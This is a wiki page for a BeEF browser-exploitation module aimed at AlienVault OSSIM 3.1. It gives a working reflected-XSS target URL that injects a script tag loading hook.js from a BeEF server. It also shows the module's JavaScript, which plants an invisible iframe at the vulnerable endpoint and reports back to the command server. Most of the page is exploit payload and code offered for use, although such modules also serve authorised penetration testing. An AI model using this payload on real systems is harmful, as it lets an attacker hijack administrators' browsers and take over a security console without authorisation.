Module: AlienVault OSSIM 3.1 XSS - h4sh5/beef GitHub Wiki
-
Objective: Attempts to hook AlienVault OSSIM 3.1 using XSS
-
Authors: bcoles, muts
-
Browsers: All
Creates an iframe targetting the AlienVault endpoint vulnerable to XSS.
Example target URL:
http://target/ossim/top.php?option=3&soption=3&url=<script src=http://0.0.0.0:3000/hook.js></script>
var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');
var alienvault_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
alienvault_iframe_<%= @command_id %>.setAttribute('src', uri);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");